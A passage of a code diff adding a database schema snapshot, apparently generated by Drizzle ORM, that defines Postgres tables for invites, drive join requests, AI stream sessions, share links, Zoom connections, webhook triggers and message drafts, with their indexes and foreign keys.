+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pending_connection_invites_active_inviter_email_idx": {
+ "name": "pending_connection_invites_active_inviter_email_idx",
+ "columns": [
+ {
+ "expression": "invited_by",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "email",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"pending_connection_invites\".\"consumed_at\" IS NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "pending_connection_invites_invited_by_users_id_fk": {
+ "name": "pending_connection_invites_invited_by_users_id_fk",
+ "tableFrom": "pending_connection_invites",
+ "tableTo": "users",
+ "columnsFrom": [
+ "invited_by"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "pending_connection_invites_token_hash_unique": {
+ "name": "pending_connection_invites_token_hash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "token_hash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_join_requests": {
+ "name": "drive_join_requests",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "DriveJoinRequestStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'pending'"
+ },
+ "message": {
+ "name": "message",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "requestedAt": {
+ "name": "requestedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ },
+ "decidedAt": {
+ "name": "decidedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "decidedBy": {
+ "name": "decidedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drive_join_requests_one_pending_key": {
+ "name": "drive_join_requests_one_pending_key",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"drive_join_requests\".\"status\" = 'pending'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_join_requests_drive_status_idx": {
+ "name": "drive_join_requests_drive_status_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_join_requests_user_id_idx": {
+ "name": "drive_join_requests_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_join_requests_driveId_drives_id_fk": {
+ "name": "drive_join_requests_driveId_drives_id_fk",
+ "tableFrom": "drive_join_requests",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_join_requests_userId_users_id_fk": {
+ "name": "drive_join_requests_userId_users_id_fk",
+ "tableFrom": "drive_join_requests",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_join_requests_decidedBy_users_id_fk": {
+ "name": "drive_join_requests_decidedBy_users_id_fk",
+ "tableFrom": "drive_join_requests",
+ "tableTo": "users",
+ "columnsFrom": [
+ "decidedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.ai_pending_abort_intents": {
+ "name": "ai_pending_abort_intents",
+ "schema": "",
+ "columns": {
+ "conversation_id": {
+ "name": "conversation_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {
+ "ai_pending_abort_intents_conversation_id_user_id_pk": {
+ "name": "ai_pending_abort_intents_conversation_id_user_id_pk",
+ "columns": [
+ "conversation_id",
+ "user_id"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.ai_stream_frames": {
+ "name": "ai_stream_frames",
+ "schema": "",
+ "columns": {
+ "message_id": {
+ "name": "message_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "conversation_id": {
+ "name": "conversation_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "from_seq": {
+ "name": "from_seq",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "frame_count": {
+ "name": "frame_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "frames": {
+ "name": "frames",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "byte_size": {
+ "name": "byte_size",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "ai_stream_frames_created_at_idx": {
+ "name": "ai_stream_frames_created_at_idx",
+ "columns": [
+ {
+ "expression": "created_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "ai_stream_frames_conversation_id_conversations_id_fk": {
+ "name": "ai_stream_frames_conversation_id_conversations_id_fk",
+ "tableFrom": "ai_stream_frames",
+ "tableTo": "conversations",
+ "columnsFrom": [
+ "conversation_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "ai_stream_frames_message_id_from_seq_pk": {
+ "name": "ai_stream_frames_message_id_from_seq_pk",
+ "columns": [
+ "message_id",
+ "from_seq"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.ai_stream_sessions": {
+ "name": "ai_stream_sessions",
+ "schema": "",
+ "columns": {
+ "message_id": {
+ "name": "message_id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "channel_id": {
+ "name": "channel_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "conversation_id": {
+ "name": "conversation_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "display_name": {
+ "name": "display_name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'Someone'"
+ },
+ "browser_session_id": {
+ "name": "browser_session_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'streaming'"
+ },
+ "parts": {
+ "name": "parts",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'[]'::jsonb"
+ },
+ "raw_parts_count": {
+ "name": "raw_parts_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "started_at": {
+ "name": "started_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "last_heartbeat_at": {
+ "name": "last_heartbeat_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "completed_at": {
+ "name": "completed_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stream_id": {
+ "name": "stream_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "abort_requested_at": {
+ "name": "abort_requested_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "reap_claimed_at": {
+ "name": "reap_claimed_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "ai_stream_sessions_channel_status_idx": {
+ "name": "ai_stream_sessions_channel_status_idx",
+ "columns": [
+ {
+ "expression": "channel_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "ai_stream_sessions_conversation_status_idx": {
+ "name": "ai_stream_sessions_conversation_status_idx",
+ "columns": [
+ {
+ "expression": "conversation_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "ai_stream_sessions_user_status_idx": {
+ "name": "ai_stream_sessions_user_status_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "ai_stream_sessions_stream_id_idx": {
+ "name": "ai_stream_sessions_stream_id_idx",
+ "columns": [
+ {
+ "expression": "stream_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "ai_stream_sessions_conversation_id_conversations_id_fk": {
+ "name": "ai_stream_sessions_conversation_id_conversations_id_fk",
+ "tableFrom": "ai_stream_sessions",
+ "tableTo": "conversations",
+ "columnsFrom": [
+ "conversation_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_share_links": {
+ "name": "drive_share_links",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "token": {
+ "name": "token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "MemberRole",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'MEMBER'"
+ },
+ "custom_role_id": {
+ "name": "custom_role_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_by": {
+ "name": "created_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "is_active": {
+ "name": "is_active",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "use_count": {
+ "name": "use_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "suspended_by_policy": {
+ "name": "suspended_by_policy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drive_share_links_drive_id_idx": {
+ "name": "drive_share_links_drive_id_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_share_links_suspended_by_policy_idx": {
+ "name": "drive_share_links_suspended_by_policy_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "\"drive_share_links\".\"suspended_by_policy\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_share_links_expires_at_idx": {
+ "name": "drive_share_links_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_share_links_is_active_idx": {
+ "name": "drive_share_links_is_active_idx",
+ "columns": [
+ {
+ "expression": "is_active",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_share_links_custom_role_id_idx": {
+ "name": "drive_share_links_custom_role_id_idx",
+ "columns": [
+ {
+ "expression": "custom_role_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_share_links_drive_id_drives_id_fk": {
+ "name": "drive_share_links_drive_id_drives_id_fk",
+ "tableFrom": "drive_share_links",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "drive_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_share_links_custom_role_id_drive_roles_id_fk": {
+ "name": "drive_share_links_custom_role_id_drive_roles_id_fk",
+ "tableFrom": "drive_share_links",
+ "tableTo": "drive_roles",
+ "columnsFrom": [
+ "custom_role_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "drive_share_links_created_by_users_id_fk": {
+ "name": "drive_share_links_created_by_users_id_fk",
+ "tableFrom": "drive_share_links",
+ "tableTo": "users",
+ "columnsFrom": [
+ "created_by"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "drive_share_links_token_unique": {
+ "name": "drive_share_links_token_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "token"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.page_share_links": {
+ "name": "page_share_links",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "page_id": {
+ "name": "page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "token": {
+ "name": "token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "permissions": {
+ "name": "permissions",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_by": {
+ "name": "created_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "is_active": {
+ "name": "is_active",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "use_count": {
+ "name": "use_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "suspended_by_policy": {
+ "name": "suspended_by_policy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "page_share_links_page_id_idx": {
+ "name": "page_share_links_page_id_idx",
+ "columns": [
+ {
+ "expression": "page_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "page_share_links_suspended_by_policy_idx": {
+ "name": "page_share_links_suspended_by_policy_idx",
+ "columns": [
+ {
+ "expression": "page_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "\"page_share_links\".\"suspended_by_policy\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "page_share_links_expires_at_idx": {
+ "name": "page_share_links_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "page_share_links_is_active_idx": {
+ "name": "page_share_links_is_active_idx",
+ "columns": [
+ {
+ "expression": "is_active",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "page_share_links_page_id_pages_id_fk": {
+ "name": "page_share_links_page_id_pages_id_fk",
+ "tableFrom": "page_share_links",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "page_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "page_share_links_created_by_users_id_fk": {
+ "name": "page_share_links_created_by_users_id_fk",
+ "tableFrom": "page_share_links",
+ "tableTo": "users",
+ "columnsFrom": [
+ "created_by"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "page_share_links_token_unique": {
+ "name": "page_share_links_token_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "token"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.zoom_connections": {
+ "name": "zoom_connections",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "accessToken": {
+ "name": "accessToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "refreshToken": {
+ "name": "refreshToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "tokenExpiresAt": {
+ "name": "tokenExpiresAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "zoomUserId": {
+ "name": "zoomUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "zoomAccountId": {
+ "name": "zoomAccountId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "zoomEmail": {
+ "name": "zoomEmail",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "ZoomConnectionStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'active'"
+ },
+ "targetDriveId": {
+ "name": "targetDriveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "targetFolderId": {
+ "name": "targetFolderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scopeVersion": {
+ "name": "scopeVersion",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "includeAiSummary": {
+ "name": "includeAiSummary",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "includeActionItems": {
+ "name": "includeActionItems",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "includeTranscript": {
+ "name": "includeTranscript",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "zoom_connections_user_id_idx": {
+ "name": "zoom_connections_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "zoom_connections_status_idx": {
+ "name": "zoom_connections_status_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "zoom_connections_account_id_idx": {
+ "name": "zoom_connections_account_id_idx",
+ "columns": [
+ {
+ "expression": "zoomAccountId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "zoom_connections_target_drive_id_idx": {
+ "name": "zoom_connections_target_drive_id_idx",
+ "columns": [
+ {
+ "expression": "targetDriveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "zoom_connections_userId_users_id_fk": {
+ "name": "zoom_connections_userId_users_id_fk",
+ "tableFrom": "zoom_connections",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "zoom_connections_targetDriveId_drives_id_fk": {
+ "name": "zoom_connections_targetDriveId_drives_id_fk",
+ "tableFrom": "zoom_connections",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "targetDriveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "zoom_connections_userId_unique": {
+ "name": "zoom_connections_userId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "userId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.webhook_triggers": {
+ "name": "webhook_triggers",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "workflowId": {
+ "name": "workflowId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "connectionId": {
+ "name": "connectionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pageWebhookId": {
+ "name": "pageWebhookId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "provider": {
+ "name": "provider",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "eventType": {
+ "name": "eventType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "isEnabled": {
+ "name": "isEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "lastFiredAt": {
+ "name": "lastFiredAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastFireError": {
+ "name": "lastFireError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "webhook_triggers_workflow_id_idx": {
+ "name": "webhook_triggers_workflow_id_idx",
+ "columns": [
+ {
+ "expression": "workflowId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "webhook_triggers_provider_event_idx": {
+ "name": "webhook_triggers_provider_event_idx",
+ "columns": [
+ {
+ "expression": "provider",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "eventType",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "isEnabled",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "webhook_triggers_connection_id_idx": {
+ "name": "webhook_triggers_connection_id_idx",
+ "columns": [
+ {
+ "expression": "connectionId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "webhook_triggers_page_webhook_id_idx": {
+ "name": "webhook_triggers_page_webhook_id_idx",
+ "columns": [
+ {
+ "expression": "pageWebhookId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "webhook_triggers_page_webhook_workflow_unique": {
+ "name": "webhook_triggers_page_webhook_workflow_unique",
+ "columns": [
+ {
+ "expression": "pageWebhookId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "workflowId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"webhook_triggers\".\"pageWebhookId\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "webhook_triggers_workflowId_workflows_id_fk": {
+ "name": "webhook_triggers_workflowId_workflows_id_fk",
+ "tableFrom": "webhook_triggers",
+ "tableTo": "workflows",
+ "columnsFrom": [
+ "workflowId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "webhook_triggers_connectionId_zoom_connections_id_fk": {
+ "name": "webhook_triggers_connectionId_zoom_connections_id_fk",
+ "tableFrom": "webhook_triggers",
+ "tableTo": "zoom_connections",
+ "columnsFrom": [
+ "connectionId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "webhook_triggers_pageWebhookId_page_webhooks_id_fk": {
+ "name": "webhook_triggers_pageWebhookId_page_webhooks_id_fk",
+ "tableFrom": "webhook_triggers",
+ "tableTo": "page_webhooks",
+ "columnsFrom": [
+ "pageWebhookId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "webhook_triggers_connection_workflow_event_unique": {
+ "name": "webhook_triggers_connection_workflow_event_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "connectionId",
+ "workflowId",
+ "eventType"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "webhook_triggers_anchor_chk": {
+ "name": "webhook_triggers_anchor_chk",
+ "value": "(\"webhook_triggers\".\"connectionId\" IS NOT NULL AND \"webhook_triggers\".\"pageWebhookId\" IS NULL) OR (\"webhook_triggers\".\"connectionId\" IS NULL AND \"webhook_triggers\".\"pageWebhookId\" IS NOT NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.message_drafts": {
+ "name": "message_drafts",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "contextKey": {
+ "name": "contextKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "content": {
+ "name": "content",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
